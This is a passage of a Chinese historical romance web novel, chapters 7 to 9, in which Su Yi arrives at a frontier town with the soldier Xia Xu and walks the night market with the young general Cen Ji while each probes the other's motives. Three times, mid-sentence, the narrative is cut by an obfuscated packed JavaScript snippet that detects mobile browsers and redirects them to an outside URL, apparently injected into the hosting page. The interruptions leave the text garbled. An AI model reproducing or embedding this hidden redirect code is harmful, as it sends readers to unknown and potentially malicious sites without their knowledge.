那些卑劣的,惨痛的,撕心裂肺的,都如数藏匿在漆黑的缝隙里,拥挤,嘈杂,仿佛一只无形的手,撰着她的心脏,用力地往外拉扯,疼得她无法呼吸。 她本不想调查此事,这天底下想杀她的人太多了,如同暴雨前的蚁群,黑压压地漫过每一寸心土,她早已习惯这样的日子。 可现下,无一不展露着别有目的的字样,她不能坐以待毙。 苏苡深吸口气,眼下最紧要的还是获取岑寂的信任,否则那人暗中使绊子,岑寂才是要同自己斗个你死我活了。 7. 身入连州6 半个时辰过去,马车抵达廿业城外。 看守城门的士兵拦下马车:“马车内是何人,还请出示官凭牒文……” 未等士兵话说完,夏栩直接把腰牌举到他面前,待看清上面的字,立马拱手行礼,“原来是夏大人。岑小将军已经吩咐过了,人直接带到知州府邸①去,待知州大人见过了再行定夺。” 夏栩收回腰牌:“多谢了。最近城外不太安分,大家伙注意些,回头让岑寂给大家送些吃的来。” “是,属下定当严加看守,绝不放过任何可疑之人。” 夏栩颔首,挽起缰绳,驱马进城。 车帷之内,苏苡神色平静,按本朝律法,招安事务需先由知州摸底,上报知府,方能决策招安条例。 二十二寨少说也有数百人,光是摸底,就要耗上十天半个月,如今才三月廿七,待条例下来,怎么着也得荷月之后了。 不及敲定此事,幕后之人找上门来,别说什么官府赦令,寨子里头的人有没有命活着下山都是未卜。 听士兵话里的意思,岑寂并不打算接手此事,看来还得试探一番岑寂对二十二寨的态度才行,再者,她现在还不能完全确定岑寂经过廿业是为了什么。想着,苏苡轻拍两下绯桃手背。 绯桃扭头面露疑惑:? 苏苡伸手向茶杯沾取些许茶水,左手捞过绯桃的手,用沾上茶水的指尖在绯桃手心里轻点一下,紧接着写了几个字。 “进城后,你先同沈易去寻住处,将杂役安顿好再来寻我。”苏苡道。 绯桃抿唇,纠结两秒,还是点了头,“是。小姐,您的身子……真的不需要奴婢陪您去吗?” 苏苡道:“不必,今日天色不早了,知州府那边想必也不会这么晚审讯,我去问问何时能启程便罢了,你记着安顿好了来寻我就是。” 绯桃低头:“是。” “安心。” 说罢,苏苡起身挪到帷裳前,掀开一角,探头看了看周遭,街道两旁已经陆陆续续亮起灯笼,摇曳在廊下,各式各样的小摊商户沿着街道一眼看不见头,吆喝声此起彼伏,好不热闹。 想不到廿业位于边疆,竟也不输江南繁华。 苏苡惊讶之际,视线略过一家卖面具的店铺,才回神反应过来,收回目光,看着夏栩的背影,思考片刻,伸出手拍拍夏栩肩膀。 夏栩头也不回问道:“姑娘有何事?直说便罢。” 明明都听到了还装模作样问,苏苡压下心中繁绪,扯出一个笑脸,道,“有劳夏公子停下马车,让我几个侍从去找个落脚之处,早些安顿下来,免得再耽搁时候。” “何须如此麻烦?我同姑娘一道寻了住处,再前往知州府也不迟。”夏栩不在意地应道。 苏苡眨眨眼,猛地拔高嗓音,大声在夏栩耳旁喊道:“什么?连觉都不让睡?!知州府的大人竟如此不通人情?” 夏栩一惊,手上力道收紧,马匹被勒着往后稍退两步,马车一个晃悠,苏苡立马双手紧紧抓着门框,得亏她反应够快,否则今夜还真就睡不成觉了。 待马匹安稳下来,夏栩悬着的心终于放回了肚子里,还好没酿成大祸。这般想着,夏栩快速回头瞥了苏苡一眼,见她满脸惊恐,倒也不好再说些什么了,只能自认倒霉。 夏栩语气里夹杂着一丝无奈,道:“姑娘这是从何处听来的胡话,赵大人为人正直,体恤百姓,岂会做出不让人睡觉的事来。” “让他们去知州府不就是要审讯?审讯不就是不让人睡觉?”苏苡有理有据说给夏栩听。 夏栩难以置信:“你这是什么歪理?” “若非如此,他们何须多跑一趟?”苏苡歪头,状似不解,蓦地,像是想明白了什么,一双眼睛亮晶晶看着夏栩。 “我知晓了,夏大人是担心他们拖着行李跑了,到时没有布料给你家公子做新衣裳罢?” “夏大人放心好了,我与二十二寨的恩人都还跟着您呢,他们不敢跑的。” “说起来,岑小将军应当到了有些时候了罢?我们还是莫要在此浪费时间了。”言及此,苏苡立马转头冲绯桃、沈易喊道,“你们快些出来呀,没看见夏大人都停马车了吗?” 夏栩:? “是。”二人异口同声,从马车里钻出来。 夏栩算是看明白了,苏苡这人简直不达目的誓不罢休,他不答应有什么用?人家有的是办法自己办到。 眼见二人带着杂役去寻住处了,苏苡笑意盈盈扭头,朝还目送着几人背影的夏栩,道,“大人,我们也该出发了。” 夏栩再次将视线投向苏苡,有不解,有审视,独独没了连州城外那几分潦草地有些过头的怜悯。 “苏姑娘倒是与我想的有所不同。”夏栩道。 苏苡若有其事点头:“那是自然,你我相逢不过一夕,若此便知,我何以苟活至今。” 闻言夏栩沉默下来,垂着眸子不知在想些什么,许久听不着回话,苏苡狐疑地瞥了他一眼,暗自腹诽,难不成是她说话太难听将人说郁闷了?可她貌似也没说什么罢。 苏苡纠结两秒,正欲开口说些什么,就见夏栩忽地抬眸,道,“不错。我原先以为寄人篱下养就的都是逆来顺受的性子,是以如今方才知晓,如我所想,不知姑娘要多受何等艰辛,才得以脱身行至此地。” 苏苡一把握住夏栩的手,眸中三分欣喜四分痛楚,还有三分得遇知己的畅快,“从前说心事,旁人只当我得寸进尺,骂我不知恩情,却不想我步步惊心,生怕说错一句话就惹了人不痛快。” “也是上天眷顾,让我得以与夏兄相遇,有个知心人。”苏苡低头抹了把不存在的眼泪,又道。 “说起来,这与夏兄行军打仗也相差无几,一场打轻了,那些个不知死活的就又都凑了上来。今日举手投降,明日就被剥皮抽筋,人不人,鬼不鬼。” 夏栩眼含热泪:“苏姑娘,你说的可太对了!那斥兰鄙人,简直就是祸害人来的,边疆战士、百姓不知死在他们手里多少,偏生他们好战,总有人领头来挑起战乱。” “镇北军所向披靡战无不胜,来日定当扫除斥兰余孽,打得他们不敢再犯。”苏苡安慰道。 夏栩坚定点头:“定当如此。” 话落,苏苡余光一瞥,整个人瞬间僵住,夏栩身后,岑寂骑在马背上,正眉梢微扬看着二人苦海情深。 四目相对,岑寂弯弯唇角,眼含笑意望着她。 一股诡异的气息升起萦绕在苏苡身侧,苏苡顿时汗流浃背,夏栩丝毫没察觉哪里不对,还在喋喋不休。 夏栩:“姑娘你是不知,那斥兰军就像邪魔入体了一般,不管受多重的伤,只要还能走,就必定上战场来跟你打个照面,就是砍断了他们的手脚,还有张嘴来恶心人,非得一剑封喉才得以安生。” 苏苡揪了揪夏栩的衣角,眼神示意他往后看,夏栩一把将衣角扯了回来,正欲开口,就听人声道,“当真如此夸张?” 夏栩毫不犹豫:“那是!我说的还能有假?” 苏苡看着空空如也的手心,狠狠闭眼。 岑寂这是从哪里带出来的兵!缺根筋吧他! 夏栩后知后觉不对劲,扭头一看,没想明白这人是从哪冒出来的,“岑寂?你怎么在这?” 岑寂扬眉,若有所思地想了想,道,“我来看看二位是不是走到半路马跑了,半个时辰的路能走到天黑。” 夏栩解释道:“我与苏姑娘相见恨晚,没注意时候,你莫要怪罪苏姑娘。” 岑寂好笑道:“我怪罪她?” 夏栩:“哎,苏姑娘何其无辜啊。” 岑寂看着夏栩,心头蓦然漫上一股无力感,扯唇,正欲言,后头突然传来大爷的喊声:“哎,前面的那三个,你们到底走不走啊,停了半天了,不走别挡道。” 三人齐刷刷回头:? 苏苡立马钻回马车,边钻边撇清关系,“说你们两个。” 岑寂眼皮一跳,面无表情策马远离,“说你们两个。” 大爷继续道:“说的是你们三个。” 夏栩噗呲一声笑出来,偏头一看,岑寂冷冷看着他,夏栩又扭头看苏苡,却只见车帷严严实实垂下,夏栩默默安静下来。 夏栩冲大爷道:“我们走,立马就走,不好意思啊。” 一刻钟后,廿业知州宅邸门口。 苏苡站在马车前,入眼便是两尊半人高的襆头抱鼓石镇在府门两侧,襥头上刻着一只卧狮,门楣上挂着牌匾,黑底金字描出“明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488694|185752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远知州第”的字样,檐角微微上翘,小青瓦以仰瓦为沟,合瓦为盖,檐下挂着两盏朱红灯笼。 苏苡看着大撇开、连个看守下人都没有的府门,陷入沉默。 “知州大人这是知晓我们要来?” 知晓我们要来,索性连门也不关了。 夏栩心虚地摸摸鼻子:“想必是有他老人家自个的想法罢。” 苏苡点头:“岑寂呢?” 夏栩伸着脖子左右瞅了瞅:“没看见,进去了吧。” 苏苡不解:“他不是来接我们的吗?” 夏栩思考片刻,试探道:“那我们进去?” “这也没个人通报,直接进去不好吧,要是被当贼抓起来,该当如何?” 夏栩应道:“按我朝理律,夜间无故进入他人住宅,笞四十。” “四十鞭,”苏苡倒吸一口凉气,道,“那我们还是在这等着罢。” “不进来看看怎知是四十鞭?” 苏苡循声望去,就见岑寂从里头走出来,身边跟着两个小厮,先前骑的骊马已不见踪影,应当是牵回马厩了。 “我就知道,岑小将军定是舍不得这般待我的。”苏苡故作感动,一眨不眨盯着岑寂。 “苏姑娘误会了。” “嗯?” “夜间无故进入他人住宅,笞四十,夜间闯入者,主人登时杀者勿论。”岑寂勾唇,缓缓道,“也就是说,在你闯入瞬间实施防卫,主人无罪。” 苏苡瞥了眼岑寂身后大开的府门:“倘若不是瞬间呢?” 不及言语,府门后面走出四名男丁,个个身高八尺②,粗麻衣挽起,漏出一节结实有力的手臂有苏苡脸那么大,举着一根手腕粗细的木棍。 苏苡:……? 苏苡不可置信地瞪大眼睛:“门后有人啊,你们刚才怎么不出来?!” 一名男丁答道:“姑娘没上前扣门。” “你门都开着还需要扣?”苏苡只觉眼前两眼一黑。 “不扣门,他们怎知你要进还是不进。”岑寂双眼含笑,替男丁开脱。 “那我现在去扣!”说着,苏苡抬脚就往里冲,手腕突然一紧,又将她拉了回来。 苏苡垂眸看向自己的手腕,以及手腕上那只不合时宜的手,顺着手往上看,正对上岑寂含情脉脉的双眸。 “不必去了,今日时候太晚,若论起来一时半会说不明白,明天再议此事。” “上马车,让夏栩送你去和你的人会和。” “那你呢?” “我?”岑寂顿了顿,没料到她会问自己,随口道,“出去随便逛逛。” “能带上我一起吗?”不等岑寂开口,苏苡立马又道,“我从前体弱,从未有机会出门看看,如今身子好些了,绯桃却仍旧不放心,若让她跟着我,一路上必定又要身子长身子短说个没完,便答应我与将军一同去罢。” 言闭,苏苡眼巴巴望着岑寂。 岑寂一时语塞,这话说的怎么如此耳熟?该说的,不该说的,全让她说了,岑寂还能作何?只能答应。 岑寂叹口气:“那派个人去跟你婢女打个招呼,免得到时找不到人着急。” “不用。”苏苡一把拉过夏栩,“让夏兄在此等她就好了。” 夏栩:? “你们出去玩,让我在这等人?我不干!”夏栩气愤道。 “夏兄。”苏苡可怜兮兮看着夏栩。 夏栩:…… “罢了罢了,去罢,我就帮你一次。”夏栩摆摆手,有岑寂跟在身边应当出不了乱子。 “多谢夏兄,夏兄不愧是保家卫国的人,处处为我们百姓着想,将来定当受尽福禄。”苏苡边说边一点一点小心翼翼往岑寂方向挪去。 “那是,我自幼在军营里长大,所图不过一个安稳,与京中那些纨绔子弟可不一样……”夏栩满脸骄傲。 “等等。” 夏栩话还没说完,被苏苡打断,不满地看向她,“怎么了?” “我二十二寨的救命恩人呢?” 闻言,夏栩下意识道:“不就在马车后面跟着吗?” 说着回头往马车后一瞅,空空荡荡,连棵树都没有,更别提人了。 “哎?” 8. 身入连州7 “刚刚不还在这吗,怎么一眨眼人就不见了?”夏栩不信邪地绕着马车转悠两圈,连个人影也没见着,一脸迷茫看向二人。 岑寂似笑非笑地开口:“你确定刚刚还在?” 闻言,苏苡指尖无意识摩挲一下,她要逼岑寂接手招安事务,单凭个行侠仗义的名头断然不够,可现下也不过是派绯桃、沈易二人统一其余几名杂役口径,避免露馅。 此番闹到知州府来,说是为她主持公道,那杂役尸身怕都浮现尸斑了,不过是借此机会见见二十二寨众人。 苏苡胆子再大,也不敢在这紧要关头领着几十个人在人家地盘里藏起来,况且她本就为此而来,何须闹这一出。 难不成是他们自己躲起来了?也不对。以杜杰风的才能,不会不辨局势,临门一脚带人跑路,除非他不想二十二寨留在这个世上了。 “我进城门时还特意回头看了,莫非被人群挤散了?”夏栩摸不着头脑。 岑寂视线落在苏苡身上的,明明方才还那般跳脱,此时又安静的不像话,莫名的,岑寂就想试探她一番,“苏姑娘怎么不说话?” “嗯?”苏苡回神,顿了顿,理不直气也壮道:“你们把我的救命恩人弄丢了还问我?” “苏姑娘,话可不是这样说的,咱俩自上了马车就一直在一块,人丢了,怎能怪你我呢?”夏栩凑到苏苡身边,脸上没有一丝慌张气愤,言闭还冲苏苡抛了个不清不白的眼神。 苏苡瞬间领悟,挺直腰板,道,“夏兄说的对,我们后脑勺上又没有长眼睛,如何能知晓?此事还需从长计议。” “对对对,苏姑娘说的有理……” 岑寂面无表情看着两人:“我让他们去找客栈休息了。”说到这里,岑寂话锋一转,“说不定还跟你那几个随从一块儿呢,苏、姑、娘。” “……” 苏苡心虚地瞥了他一眼,扯出一抹比哭还难看的微笑,“岑小将军何不早说?害得我白担心一场。” 岑寂点点头:“如此说来,倒是我的错了,可需岑某向姑娘道个歉?” 苏苡假笑两声,连忙摆手:“岑小将军说笑了。” 岑寂挑眉,欲言,被夏栩一巴掌打断,“你是几时让他们去住店的?我怎的一无所知?” 夏栩谦虚请教道。 话音落地,苏苡眨了眨眼,夏栩神色认真不似玩笑,苏苡又看向岑寂,帅且不论,就以岑寂这咬着人就不松嘴的狗脾气,手底下能养出夏栩这样脑子一根筋的人,苏苡无论如何也想不明白。 岑寂轻笑一声,淡淡吐出一句话:“在你们拦路挡道的时候。” 说罢抬脚就走。 “跟上。”察觉苏苡没有动作,岑寂好心提醒道。 “好。”苏苡应道。 临走之际,苏苡朝着夏栩叹口气,上前两步,伸手拍拍夏栩肩膀,语重心长道,“我那还有些滋补身子的药,夏兄若不嫌弃,待会绯桃来了便随她过去,叫她抓些给你。” “我又没生病,要什么补药?”夏栩纳闷道,一扭头,苏苡已经跑远到背影都变成一个小点,“哎,我话还没说完呢!下次我可不会再帮你拦人了!” 苏苡头也不回喊道:“回去再说!” 暮色笼罩,知州府离夜市隔着两条街,这段路上没有挂灯笼,小道是由青石砖一块一块铺成,月光洒在上面,隐隐发亮,苏苡跟在不远不近的地方,埋着脑袋,眼睛一眨不眨盯着发亮的砖块,一步两步往前走。 凉风一阵阵刮过,苏苡下意识瑟缩起肩膀,不经意间看向前方,原本跟在岑寂身边的两名小厮不知何时没了踪影,岑寂孤零零一个身影映在苏苡眸中。 苏苡眨了一下眼,那道身影逐渐模糊,待彻底融入暮色,苏苡呼吸开始急促,目光也变得涣散,她扯唇轻声唤道,“岑……岑寂……你在吗?” 苏苡声线忍不住地颤抖,带着难以遏制的害怕与紧张,岑寂脚步顿住。 “岑寂?你不要吓我,我害怕……岑寂……”寂静的夜幕里,一切感知都被放大,苏苡的喘息声清晰传入耳中。 岑寂微微皱眉,听起来不似作假。 苏苡眼底浮出一层水雾,眸光被水色洇得朦胧,四周漆黑一片,苏苡什么也分不清,只能一声又一声喊着,“岑寂……岑……” 忽地,一只温热有力的手握住了她的手腕,“别怕,我在。” 他的声音犹如冷峻冬夜中的一缕暖风,将一切黑暗寒冷尽数驱散,简单直接明了地照在自己身上。 苏苡目光扫过手腕,一丝月光倾斜而下,洒在岑寂的手上,苏苡顿了顿,恍惚抬眸,视线顺着他的胳膊一点一点往上,月光也随着她的动作一寸寸漫过,直至苏苡从岑寂眼中看见了自己。 见苏苡半天不动,岑寂眉间微蹙,伸手在苏苡眼前晃了晃,“吓傻了?” 苏苡回过神来,立马扭头,语气歉疚,“抱歉,我不是故意的。” 听到回答,岑寂反而眉头皱的更紧了,他问,“这有什么好道歉的?” 苏苡怔住,不知该作何回答,“我,我也不知。” 岑寂道:“不知道就不用道歉。正如你白天所言,人人都有所惧怕,这没有大不了的,更没人可以因此怪罪你。” 苏苡乖乖点头,低头看看手腕,又抬头看看岑寂,欲言又止。 岑寂察觉她的动作,问她,“怎么了?” 苏苡伸出一根手指头,指向手腕上还紧紧抓着自己的手,“可以松开了吗?” 岑寂顺着她的动作看过去,瞳孔猛地一缩,像是见着了什么不得了的东西,“刷”的一下收回手,对上苏苡的目光,手硬是在空中转了个圈,遮掩似的摸上自己的发髻。 苏苡微不可查勾起一抹笑,手指不知觉摩挲一下。 岑寂余光瞥见苏苡光秃秃的双手,从自己衣裳上捞起一片衣角,塞进苏苡的手心里,“握紧,跟着我走。” 苏苡直愣愣看着他,眸中满是不解,廿业城外那套说辞,明眼人都看得出来不似真话,他明知自己没有几分真心,为何要回头,又何必在乎她怕不怕。 “岑寂。” “嗯。” 许久得不到回应,岑寂再度开口:“何事?” 苏苡轻拽一下手中的衣角,状似无意般问道,话到嘴边却换了称呼,“岑小将军不怕我将衣裳扯坏吗?” 岑寂若有所思点点头:“不怕,白日在城门外苏小姐不是答应待进了城,给在下送两匹云锦吗?若真计较起来,是在下赚了。” “说起这个,倒是可惜了我这身,也不知明日知州大人会如何处理此事。”苏苡语气惋惜。 “知州大人定当秉公办案,还苏小姐一个公道。” “你明知,我不是这个意思。”苏苡语气焦急,带着一丝不解与气愤。 苏苡想不明白岑寂为何做到这个份上,曾经种种从脑海里闪过,再难再苦她也一个人走过来了,她不信有人会无缘无故对自己好。 岑寂淡定回视:“怕黑是骗我的?” “自然是真的。”苏苡不明所以应答,这跟她所言有何关系? “既然怕,自然就该握进你的手里。”岑寂故作听不懂她的言外之意,理所当然答道。 “只是因为我怕嘛……”苏苡低下头,呐呐自语,手中的衣角渐渐染上体温,柔软的,温暖的,紧紧攥在自己手里。 借着月光,苏苡看得分明,冰蓝色的布料,她忽地想起什么,回头看向天空,一片乌黑的云正往他们来的方向飘去。 “连州不比京中繁华,姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488695|185752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕黑,可在集市周围逛逛,寻个安稳地住下来。北疆寒苦,姑娘身子骨薄弱,若是住不惯,便往南方去,听闻扬州四季如春,想来适合姑娘。”岑寂走在明暗交界处,忽明忽暗,让人看不清他的神色。 苏苡反问道:“岑小将军不是说要护送我吗?” 岑寂眉头微挑,敏锐抓住重点:“你想随我回殷守?” 殷守不比廿业,自岑忛将起攻下,北襄连州边境最后一道防线便设立在此,军事要地也放在殷守,廿业虽也设有防线,可到底离斥兰有些距离,就算苏苡真有什么,有知州赵文彦看着,介时暗中再安排几个人,想来也闹不出什么乱子。 可若是去殷守,就大不相同了。 “我在连州举目无亲,连个安身之所都找不到,倘若不跟着将军,实在是不知该如何是好。”苏苡直勾勾盯着他的侧脸,话虽如此,语气里却听不出一丝不知所措。 “苏小姐一身衣裳价值千金,怎会寻不到安身之所?” “舅舅本就是看我孤苦无依才将我接回去,予我一席之地能吃饱穿暖,我已是感激不尽。此次离京也是做好了不再回去的打算,又如何有脸面再拿多少银子。” “我记得不错,苏小姐似乎还答应了山匪一千两。” “六百三十七两,和一枚玉佩。”苏苡一字一句答道。 “待明日去往知州府,将此事来龙去脉同赵大人说明,把银子玉佩拿回来,介时,苏小姐是做个小本生意也好,安稳度日也罢,都可安心了。” 苏苡微微皱眉,语气中带着不可置信的质问:“怎可如此?银子是我答应他们救我的报酬,如今我好端端地站在这,却要他们将银子还给我,那我不就成骗子了吗?” 这熟悉的语气……同廿业城外说的一模一样! 岑寂停下脚步,回望她一眼,苏苡眨巴着双大眼睛,丝毫没发觉自己的话有什么问题,岑寂扯扯唇,欲言又止。 岑寂思考了一会,意有所指般吐出一句:“不用给夏栩送补药,苏小姐身子不好,还是留着自己喝罢。” 苏苡不明所以歪歪头:“我那还有很多,岑小将军需要吗?我让绯桃也给你送一点去。” 岑寂面无表情:“……不必了。” 苏苡思索两秒,道:“岑小将军放心好了,我这个补药是特制的,一点都不苦。” 岑寂眼皮挑了挑:“不是苦不苦的问题。” “那是为何?”苏苡追问道。一副打破砂锅问到底,问不到誓不罢休的模样。 “我常年待在军营,身体很好,不需要补。” “这样啊,”苏苡语气惋惜,正当岑寂以为她放弃了的时候,忽地话锋一转,“那就更应该喝了。战场上刀剑无眼,一个不小心就是血流不止,还是要多补补才行。” “苏冉。”岑寂打断她。 苏苡顿住,看向岑寂的双眸中满是不解,“怎么了?” 岑寂侧身双手扶住苏苡的肩膀,将人身体摆正,“到了。” 眼前的景象猝不及防尽收眼底,苏苡一时没了动作。 长街一眼望不见尽头,两旁摊位上摆着各式各样的物品,不远处一群人将杂耍的围在中间,喧嚣声吆喝声充斥在耳畔,昏黄光晕叠着檐角垂落的灯笼,把整条街都浸成暖融融的蜜色。 街道半空有一座骑楼连廊,上面人挤着人,只能隐隐约约看见手中亮起的花灯。 街角的炊饼摊铁板滋滋响着,白面饼烙得外酥里软,香气裹着热气四处飘散。 苏苡目光不自觉看向一旁卖糖葫芦的老伯。 糖葫芦,她有多久没有吃过了? 苏苡想了想,这是第十一年。可她似乎还记得当年的糖葫芦是何滋味。 “岑寂,有银子吗?能不能借我一点?” 9. 身入连州8 岑寂摸向腰间,一顿,左摸摸右摸摸,又若无其事般将手放下,“苏小姐出门不带银子,是把我当侍从使了?” “?” 苏苡听出岑寂话里的不对劲,回头一看,岑寂腰间只系着白日廿业城外那枚青玉镂雕双鱼佩,除此之外,再无它物。 苏苡缓缓勾唇:“岑小将军是何人,岂会容我放肆?只是从前有绯桃跟在身边,事事由她照料,一时忘却此事,想问小将军借一点罢了,待回去,就是倾家荡产我也是会还的。” 岑寂唇角抽了抽,欲语,突然听到一声惊呼。 “呀,将军你的荷包怎么不见啦?”苏苡满是惊讶开口,转而又一脸愧疚,“莫不是遭贼人偷了?都怪我,若不是我想出来逛,你的荷包也不会丢了。” 话音落地,周围一道道目光投向二人,岑寂皮笑肉不笑道,“不劳苏小姐忧心,我的荷包没有丢。” 苏苡眨眨眼,视线若有若无地扫过岑寂腰间,意有所指道,“是吗,那便好,我险些以为小将军也没有带银子出门呢。” “我带与不带与姑娘有何干系?” “苏姑娘倒也不必如此盯着看,这枚玉佩于岑某而言意义非凡,盯再久也不会将其赠与姑娘。”岑寂神色自若道。 苏苡难以置信。 苏苡气极反笑,冷哼一声,道:“岑小将军不愿相借大可直说,何苦拐弯抹角说我?我就是再没有银子,也不会干偷鸡摸狗的事。” “谁拐弯抹角说你会干偷鸡摸狗的事了?”岑寂反问。 “不让我盯着看不就是觉得我会不安分?不安分不就是会偷鸡摸狗?你别以为我听不出你话里的意思。”苏苡理直气壮道。 岑寂:“……?” 岑寂微笑道:“苏小姐说的有理。” 苏苡诧异地看向他,眼神奇怪,这人被妖魔附体了?怎地这般轻易便应下了? 这可不像岑寂咬着人就不松嘴的狗脾气。 “恕岑某愚钝,若非苏小姐,还不知此话能这般解释,岑某受教了。不如这样吧,今日苏小姐想买什么便买什么,待回知州府,我双倍还给苏小姐如何?” 想买什么便买什么,双倍还她,这话听起来好听,实际上一点用没有。她如今算得上两袖清风,空空如也,哪来的银子去买东西?什么也买不了,双倍给她什么?给她两团风气吗? “我有银子还用问你借?不想给就直说。” “苏小姐这就是误会我了,并非不愿意,实在是手里没有银子啊。”岑寂说着叹口气,语气很是委屈。 苏苡一噎,没料到岑寂会如此坦然,“那……回去?” 岑寂挑眉,扭头看了看周遭,忽地想起苏苡先前的说辞,道,“你不是说在京中时从未出门逛过吗,既然来了,就算不买东西,四处看看也是好的。” “越是体弱越不能常年卧在床榻上,只会将身子卧得越发见不得风,一吹就倒。” “这一路走来,是比在京中时要好些了,只是这病难以根治,能多活一日是一日吧。”苏苡语气随意,似乎半点都不在意。 两人就这样有一搭没一搭的聊着,并肩随着人群往前走。 “你当真要随我回殷守?”不知怎地,岑寂蓦地开口问道。 “我知殷守是北襄重地,如今我身份存疑,自当……” 苏苡又搬出这套说辞,岑寂直接打断,简单明了朝她说道,“我且只问你两个问题,不管你的回答是什么我都答应带你回殷守,但我要你接下来说的每一句话都是真话。” 十一年前曲江一战,武安侯满门战死沙场,就是因为有人同斥兰狼狈为奸,里应外合。苏苡比谁都清楚将一个来历不明的人带进殷守有多危险。 可岑寂却只是轻描淡写问两个问题?这不像他的作风,可一时之间她也不知他心里到底在想些什么。 苏苡蹙起眉,不解地看向岑寂,“好,你问。” “第一个问题,廿业城外,我问你为何来连州寻求安稳,你说你相信镇北军,那时,你便已想好要随我回殷守?”岑寂伸出一只手,竖起一根手指。 闻言,苏苡松了口气,原来还是在试探她。不过这倒是个好机会,镇北军镇守边关几十载,无意掺和进党派之争,可若为之天下,镇北军必定是一把好刀。 因此,她与镇北军即便做不了盟友,也绝不会沦为敌人。 此番要博得岑寂的信任,也要试探一番口风,对二十二寨究竟是何等看法,才好再做打算。 “并非。事已至此,我也不瞒将军了。我原先并不打算在连州住下,只是途径此地,却不想那杂役遭人买通,竟想取我性命。” “也是那时,二十二寨恰好出现,救下了我。”苏苡说着抬眸去看岑寂,“一千两固然多,可与性命相提并论又未免太少。” “也不知明日知州大人问审,会如何处理二十二寨的救命恩人。若是连累了他们,我这条命捡回来又有何用?”苏苡痛心疾首道。 岑寂象征性地拍拍苏苡的肩膀,以示安慰,说出口的话却依旧的不近人情,“当时为何撒谎?” “将军知晓,我生来体弱常年宿疾缠体,过去十几年出院门的次数都屈指可数,头一次离京却遭人暗算,我实在是想不出究竟是谁想杀我。” “我怕,我怕同你说了,将此事闹大,那幕后之人知晓后恼羞成怒再派人来杀我。”苏苡说到一半,垂下脑袋,揪着手里那片衣角就往脸上擦。 岑寂下意识伸出手,想将衣角扯回来,却在半空中停住,内心纠结半晌,认命般叹口气,又掀起另一片衣角递到苏苡面前。 “换一片擦脸吧。” 苏苡头也没抬一把从岑寂手里薅过衣角,齐齐捂在脸上,“我从小连蚂蚁都舍不得踩死一只,他们居然派人来杀我,他们居然想杀我,呜呜呜我到底挡了谁的道,要这么对我?!” 这也就是仗着自己此刻身处连州这么个无人识得自己的地方,若有旁人在,苏苡是断然说不出此等话来的。 她是谁?她是武安侯府唯一的遗孤,是先护国长公主的女儿,也是仗着自己身份尊贵,杀人放火恶事做尽的霁禾郡主。 奸佞之臣视她为眼中钉,肉中刺,股肱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488696|185752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之臣恨她暴戾恣睢,丝毫没有半点忠烈之后的气节,整个北襄,唯一一个敢在朝堂之上拥护她的人还死在了乱臣贼子的罪名之下。 谁不想杀她?谁不敢杀她? 只是她一个个杀了回去,踩着那种人的尸骨才得以行至今日。 闻言岑寂回想了一下白日相遇时的场景,满脑子都是那道汩汩冒血的伤口,鲜血沿着石子流淌到苏苡脚边,裙摆上是一片红,至于那杂役的其他,岑寂却是半点也记不起来。 岑寂问道:“那杂役是你从府里带出来的?” 苏苡从衣角里探出头,摇头道:“是离京前特地去挑选的。” 岑寂思索了一会,又听苏苡说道,“我也想不明白,离京一事知晓之人并不多,还都是我的亲信,离京一路以来有那么多机会下手,却偏偏挑在连州境外,实在是令人费解。” 为何偏要在连州边境动手?不用苏苡点明,岑寂也能猜到。他此次出城知晓之人也不过寥寥几人,一切都直指向那一个目的。 岑寂的心沉了下来。 若那人是苏苡杀的,在廿业城外那套说辞便已足够让她洗脱罪名,完全用不着再编这么个故事来骗他,除非…… 岑寂审视的目光落在苏苡身上:“你为何如此在意二十二寨?” 苏苡一愣,像是没反应过来,一脸茫然地应道,“他们救了我,是我的救命恩人,我当然在意他们。况且我目前留给我的玉佩还在他们那里,我到时还要找他们赎回来的。” “你同他们先前可是相识?”岑寂双眸紧紧盯着苏苡,不放过她脸上的一丝神情变化。 只可惜苏苡仍旧还在状况之外:“不认识,我同他们是第一次见,也就比岑小将军早见一刻钟。” “好,此事我会去查,给你一个交代,在此事了断之前,你都必须跟在我的身边,否则我不能保证你的安全。”岑寂认真道。 “好。” “第二个问题。”岑寂竖起两根手指。 “?”苏苡不服气地看向他,“怎么才第二个,你刚刚明明已经问了很多了。” “噢,这样吗?那看来苏小姐也并没有多想跟我回殷守罢,连这点问题都不愿意回答。”岑寂若无其事般开口,语气里是赤裸裸的不真诚。 “你!”苏苡只觉得匪夷所思,堂堂镇北军独子,居然耍无奈!还比她更不要脸! 岑寂挑眉:“我怎么了?” “你问!”要不是为了计划,苏苡绝不会妥协。绝不会。 “你的身世,可有欺瞒?” 